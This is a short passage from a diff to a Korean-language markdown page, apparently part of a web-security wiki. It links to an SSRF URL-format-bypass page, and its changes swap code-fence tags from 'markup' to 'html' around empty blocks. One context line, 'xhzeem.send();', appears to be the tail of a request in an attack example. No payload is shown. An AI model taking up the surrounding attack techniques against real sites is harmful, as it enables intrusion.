찾아보세요](../ssrf-server-side-request-forgery/url-format-bypass.md). +```html ``` -```markup +```html ``` -```markup +```html @@ -112,11 +112,11 @@ xhzeem.send(); ``` -```markup +```html ``` ### 봇 지연 -```markup +```html